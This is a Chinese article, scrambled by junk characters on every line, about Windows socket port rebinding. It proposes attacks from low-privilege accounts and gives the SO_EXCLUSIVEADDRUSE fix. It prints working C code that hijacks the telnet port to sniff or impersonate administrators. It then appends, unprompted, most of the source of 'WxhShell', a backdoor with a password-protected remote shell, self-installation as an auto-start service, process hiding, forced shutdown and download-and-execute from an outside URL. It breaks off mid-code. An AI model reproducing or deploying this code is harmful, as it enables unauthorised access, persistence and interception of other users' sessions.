在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
q[HTnx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
t *1u[~= 5|l* `J) saddr.sin_family = AF_INET;
e?opkq\f IIg^FZ*]_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
qp/v^$EA BnCbon) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
.C&ktU4 SF&BbjBE0 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Kz>3
ic$I gUxP>hB 这意味着什么?意味着可以进行如下的攻击:
oX0 D >}!mQ pAO 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:X.b}^ Z( Ko;{I?c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0}$Hi CACTE
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0|$v-`P$ CPP`
qt%f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
nyBJb(5"B R(2tlZ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Cz72?[6 +)j$|x~(A 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c%&:6QniZ (>VX-Y/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
u#Z#)3P 0Uz\H0T1 #include
)+}]+xRWGj #include
L1ieaKw #include
lmfi #include
I3,= 0z DWORD WINAPI ClientThread(LPVOID lpParam);
@r#v[I int main()
.Jt[(; {
$/.zm;D WORD wVersionRequested;
lD"(MQV@0 DWORD ret;
sYjpU WSADATA wsaData;
O>^C4c! BOOL val;
P5
K' p5}# SOCKADDR_IN saddr;
*tgnYa[l SOCKADDR_IN scaddr;
D+]a.& {p int err;
`0P$#5? SOCKET s;
t: #6sF SOCKET sc;
b!sRk@LGZ int caddsize;
F{eU";D HANDLE mt;
`t_W2y DWORD tid;
l~6?kFy9h wVersionRequested = MAKEWORD( 2, 2 );
/o[?D err = WSAStartup( wVersionRequested, &wsaData );
tZ^Ou89:rG if ( err != 0 ) {
0JlZs] printf("error!WSAStartup failed!\n");
J.ck~;3 return -1;
8"dv _`ym }
O
[i#9) saddr.sin_family = AF_INET;
FI3)i>CnW 5dB'&8DX //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
i?fOK_d vgUb{D saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q o\?o saddr.sin_port = htons(23);
~ECD`N<YF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
QNARkYY~| {
iMs5zf<M printf("error!socket failed!\n");
hRty [ return -1;
WHjUR0NZ }
WDg+J val = TRUE;
$OP7l>KZY //SO_REUSEADDR选项就是可以实现端口重绑定的
>2,Gy-&"0 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
}; f#^gz' {
2I&o69x? printf("error!setsockopt failed!\n");
>y[oP!-|P return -1;
^}:# }
3'^k$;^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.h9l7
nZt //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
" )V130< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
b|+wc6
2Z3('?\z~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y]L9Y9 {
iVG-_RsKK ret=GetLastError();
(;q\}u printf("error!bind failed!\n");
P#fM:z@[ return -1;
n84GZ5O>7 }
|fSe>uVZ listen(s,2);
nWMmna.5 while(1)
Kt"BE j {
~ug=
{b caddsize = sizeof(scaddr);
Nkp)Ax& //接受连接请求
ik!..9aB sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
"
t7M3i_ if(sc!=INVALID_SOCKET)
.!G94b {
xA9:*>+> mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>lBD<;T if(mt==NULL)
z}{afEb {
#{=;NuP printf("Thread Creat Failed!\n");
5g9; +}X; break;
DSt]{fl`P }
nzmDA6d }
!OT-b>*w CloseHandle(mt);
:dLAs@z }
PSPmO'C+ closesocket(s);
wlEdt1G WSACleanup();
\[jq4`\$ return 0;
D5:{fWVsV/ }
7}vg.hmZ DWORD WINAPI ClientThread(LPVOID lpParam)
s%2v3eb {
L3n_ 5| SOCKET ss = (SOCKET)lpParam;
L5qwWvbT SOCKET sc;
-.T&(&>^ unsigned char buf[4096];
%/YcL6o( SOCKADDR_IN saddr;
L~ IhsiB long num;
h+a S4Q& DWORD val;
M?[h0{^K DWORD ret;
^b 7GH9<& //如果是隐藏端口应用的话,可以在此处加一些判断
5vw{b? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^|TG$`M(w saddr.sin_family = AF_INET;
xCYE
B}o9r saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$d,0=Ci saddr.sin_port = htons(23);
lhtZaU~V if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A0fFv+RN3 {
(sQr X{~ printf("error!socket failed!\n");
I(9R~q return -1;
'sxNDnGg }
vmLxkjUm# val = 100;
H6&J;yT} if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5ux`U{`m {
kWNV%RlSx ret = GetLastError();
ONCnVjZ return -1;
YSj+\Z$( }
P1NJ^rX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wN2QK6Oc {
O)Y?=G)
ret = GetLastError();
3;8!rNN return -1;
ZvUCI8 }
Y&
F=t/U2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
HU9Sl*/ {
4[BG# printf("error!socket connect failed!\n");
F* .g;So closesocket(sc);
gl]E_%tH closesocket(ss);
cetvQAGXY return -1;
{O+Kw<d }
JMVNmq&0 while(1)
NHl|x4Zpw {
8@PX7!9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TARXx> //如果是嗅探内容的话,可以再此处进行内容分析和记录
l27\diKPJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
TuW/N
L| num = recv(ss,buf,4096,0);
6:]*c[7 if(num>0)
JkGnKm9G send(sc,buf,num,0);
;A'":vXmc else if(num==0)
rYp3(k3 break;
}=v)Js num = recv(sc,buf,4096,0);
wQ%mN[ if(num>0)
Uz7^1.-g4 send(ss,buf,num,0);
d oB else if(num==0)
4&HXkRs: break;
/l{&iLz[ }
m~>Y{F2 closesocket(ss);
7#~+@'Oe closesocket(sc);
l9Q(xuhv return 0 ;
ay
%KE=*v }
1-PoZ[p-R 7Su#Je] *A~
G_0B ==========================================================
;3
F"TH
<HRBMSR+ 下边附上一个代码,,WXhSHELL
FVKW9"AyW i@][rdhT ==========================================================
-kS~xVS| T2D<UhP #include "stdafx.h"
w ~ dk#= 2>\v*adG #include <stdio.h>
}/,HM9Ke #include <string.h>
6&!&\ #include <windows.h>
1lsLJ4P #include <winsock2.h>
C_ \q?> #include <winsvc.h>
/1 RAAa #include <urlmon.h>
\V>?Do7 x)UwV #pragma comment (lib, "Ws2_32.lib")
!J=sk4T #pragma comment (lib, "urlmon.lib")
)I\=BPo|B ||zb6|7I4 #define MAX_USER 100 // 最大客户端连接数
:iiw3#] #define BUF_SOCK 200 // sock buffer
J|3E- p\o #define KEY_BUFF 255 // 输入 buffer
qClHP)< HK~xOAF #define REBOOT 0 // 重启
vfNAs>X g" #define SHUTDOWN 1 // 关机
UYA_jpI P @VN&t:/ l #define DEF_PORT 5000 // 监听端口
L.T?}o Q`#4W3-, #define REG_LEN 16 // 注册表键长度
?go:e# #define SVC_LEN 80 // NT服务名长度
c!hwmy; cD4
kC>P* // 从dll定义API
[I:KpAd/
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
y}v+c%d typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~w</!s typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
HK)cKzG[s! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
{T'GQz+R" %hN.ktZ/s // wxhshell配置信息
4 V1bLm struct WSCFG {
TrdZJ21#M int ws_port; // 监听端口
{u[V{XIUh char ws_passstr[REG_LEN]; // 口令
%Rh;=p` int ws_autoins; // 安装标记, 1=yes 0=no
!vn1v)6 char ws_regname[REG_LEN]; // 注册表键名
^VT1vu
%03 char ws_svcname[REG_LEN]; // 服务名
@h?shW=^ char ws_svcdisp[SVC_LEN]; // 服务显示名
"C?5f]T char ws_svcdesc[SVC_LEN]; // 服务描述信息
F/1#l@qN char ws_passmsg[SVC_LEN]; // 密码输入提示信息
?%O3Oi Xz int ws_downexe; // 下载执行标记, 1=yes 0=no
j$da8] ! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
=&dW(uyzY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
7DKz;o )s9',4$eK< };
$DBGLmw @FN*TJ // default Wxhshell configuration
XCsiEKZ_i struct WSCFG wscfg={DEF_PORT,
PS
S?|Vk "xuhuanlingzhe",
'O6]0l 1,
Gq#~vr "Wxhshell",
dV?5Q_} "Wxhshell",
U6[ang'l "WxhShell Service",
?4G|+yby "Wrsky Windows CmdShell Service",
LwuF0\ "Please Input Your Password: ",
@mt0kV9 1,
U Q@7n1 "
http://www.wrsky.com/wxhshell.exe",
YHV-|UNF "Wxhshell.exe"
(!5LW'3B };
( #Z` /?/#B ` // 消息定义模块
B`$L' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
+KEkmXZ char *msg_ws_prompt="\n\r? for help\n\r#>";
X~Rl 6/, char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S>q>K"j^! char *msg_ws_ext="\n\rExit.";
H ftxS char *msg_ws_end="\n\rQuit.";
!5}l&7:(MN char *msg_ws_boot="\n\rReboot...";
?@6/Alk char *msg_ws_poff="\n\rShutdown...";
|DF9cd^ char *msg_ws_down="\n\rSave to ";
iv(5&'[p utlpY1#q/ char *msg_ws_err="\n\rErr!";
r'BAT3 char *msg_ws_ok="\n\rOK!";
'j%F]CK Xl |1YX1&m char ExeFile[MAX_PATH];
ExHAY|UA int nUser = 0;
rSP_:} HANDLE handles[MAX_USER];
?RFg$Z'^ int OsIsNt;
K:y^OAZfV :RxHw;! SERVICE_STATUS serviceStatus;
s,*c@1f? SERVICE_STATUS_HANDLE hServiceStatusHandle;
DZ
^1s~ s]27l3)B // 函数声明
HjWq[[Nz int Install(void);
W</n=D<,I int Uninstall(void);
t j Vh^ int DownloadFile(char *sURL, SOCKET wsh);
VyG4(Xva int Boot(int flag);
)<4_: void HideProc(void);
\nrP$ int GetOsVer(void);
Q}A=jew int Wxhshell(SOCKET wsl);
t@?u void TalkWithClient(void *cs);
UFn8kBk int CmdShell(SOCKET sock);
3b[jwCt int StartFromService(void);
O$!*%TL int StartWxhshell(LPSTR lpCmdLine);
!wLg67X$
- k /EDc533d VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e yw'7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
VY 1vXM3y h7_)%U<J2 // 数据结构和表定义
K_-d( SERVICE_TABLE_ENTRY DispatchTable[] =
*HM?YhR {
+UWU|: {wscfg.ws_svcname, NTServiceMain},
J#3{S]*v_ {NULL, NULL}
Ek.&Sf$cd' };
B`#h{ )[ $<)Yyi>6E // 自我安装
ekf$dgoR int Install(void)
_q>SE1j+W= {
Y^ve:Z char svExeFile[MAX_PATH];
pF=g||gS HKEY key;
H ;@!?I strcpy(svExeFile,ExeFile);
y@ek=fT%4 m)?5}ZwAH // 如果是win9x系统,修改注册表设为自启动
1ywU@].6J] if(!OsIsNt) {
J_#R 87 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0_<Nc/(P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j;P+_Hfe/E RegCloseKey(key);
s0LA^2U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^gro=Bp( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S9Y[4*// RegCloseKey(key);
YwT-T,oD return 0;
_EYB
8e }
FJM;X-UOY }
&bC}3D }
sJr5t? else {
73NZ:h%= FY;+PY@I{ // 如果是NT以上系统,安装为系统服务
EH9Hpo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,qFA\cO* if (schSCManager!=0)
~0tdfK0c {
L0h
G SC_HANDLE schService = CreateService
1-;?0en&0 (
\x\. schSCManager,
uVU`tDzd: wscfg.ws_svcname,
K!8zwb=fq wscfg.ws_svcdisp,
Aa(<L$e!` SERVICE_ALL_ACCESS,
m24v@?* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
(RF>s.B< SERVICE_AUTO_START,
!)H*r|*[ SERVICE_ERROR_NORMAL,
(7q^FtjA# svExeFile,
~Nh&.a NULL,
U1m\\<, NULL,
}#N]0I)JI NULL,
?s{C// NULL,
X}JWf<=q NULL
r:l96^xs );
Q^h5">P if (schService!=0)
XdIah<F2 {
0g(6r-2)7 CloseServiceHandle(schService);
[Z}B" CloseServiceHandle(schSCManager);
T[Q"}&bB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Gi$gtLtNh strcat(svExeFile,wscfg.ws_svcname);
bejGfc if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!;}2F- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]if;A ) ' RegCloseKey(key);
{/UhUG return 0;
I"Q<n[g0' }
ua& @GXvZ }
z%2w(&1 CloseServiceHandle(schSCManager);
Kmry=`=A }
LcUlc)YH5 }
r\mPIr| X=_Z(;<& return 1;
(wL3 + }
X5E
'*W D9,!
%7i // 自我卸载
&:vscOl int Uninstall(void)
dK# h<q1 {
#MM&BC HKEY key;
=P_fv %-^}45](q if(!OsIsNt) {
9/;{>RL= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
cF.mb*$K RegDeleteValue(key,wscfg.ws_regname);
Qb@eK$wo} RegCloseKey(key);
M/w{&& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gX/NtO% RegDeleteValue(key,wscfg.ws_regname);
{[3YJkrM RegCloseKey(key);
bXl8v return 0;
lP0k: }
iSd?N}2,I }
,C!n}+27 }
kMS5h~D[ else {
eY3=|RR |!b9b(_j9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
{})y^L if (schSCManager!=0)
IQ{?_' {
UX}*X`{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
8eww7k^R if (schService!=0)
G2@KI- {
)5i*/I\ if(DeleteService(schService)!=0) {
;eR{tH /4 CloseServiceHandle(schService);
(5(fd.m+_ CloseServiceHandle(schSCManager);
|BJqy/ return 0;
x(6vh2#vD }
1~EO+ CloseServiceHandle(schService);
Y(z}[`2 }
!fZLQc CloseServiceHandle(schSCManager);
{y/-:=S)A }
.;Z.F7{q }
5&%fkZ0 j];G*-iv{ return 1;
Kw*~W
i }
b A+[{ }bgo )<i // 从指定url下载文件
*. dKR int DownloadFile(char *sURL, SOCKET wsh)
(,TH~("{ {
| XLFV HRESULT hr;
&<{}8/x8( char seps[]= "/";
|KaR
n;BM char *token;
Xoi9d1fO char *file;
[Pqn3I[ char myURL[MAX_PATH];
-7L char myFILE[MAX_PATH];
!&0a<~Wi )8]3kQffJ= strcpy(myURL,sURL);
C,='3^Nc token=strtok(myURL,seps);
ReqE?CeV while(token!=NULL)
K051usm {
]j1
vbk file=token;
mrReast token=strtok(NULL,seps);
1w) fu }
C$ hQN nr<.YeJ GetCurrentDirectory(MAX_PATH,myFILE);
M/)B" q strcat(myFILE, "\\");
KE#$+,? strcat(myFILE, file);
QB9A-U<J send(wsh,myFILE,strlen(myFILE),0);
w%I8CU_}. send(wsh,"...",3,0);
cS
4T\{B; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
,N;v~D$Y if(hr==S_OK)
.hgH9$\ return 0;
*sAOpf@M else
mQnL<0_<f return 1;
PuU*vs3 Ir>2sTrm }
z^9E; \@:j // 系统电源模块
U~hCn+0 int Boot(int flag)
pNSst_!> {
L3g9b53\ HANDLE hToken;
;6zPiaDQ TOKEN_PRIVILEGES tkp;
?AT(S A_]D~HH if(OsIsNt) {
$BaK'7=3* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
TL]bY'% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`_0)kdu tkp.PrivilegeCount = 1;
@%%bRY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
e+x*psQ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
GGp{b>E+
# if(flag==REBOOT) {
0hb/`[Q
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
cPm~`
Zd return 0;
>z5Oy }
y78z>(jV else {
h%/ssB if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#9INX`s- return 0;
k|l5 "&K~. }
{Bc#?n }
.h a`)@MsZ else {
;i}i5yv2
if(flag==REBOOT) {
^YqbjL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%db3f
z return 0;
<qr^Nyo4 }
,Z?m`cx else {
#[Z<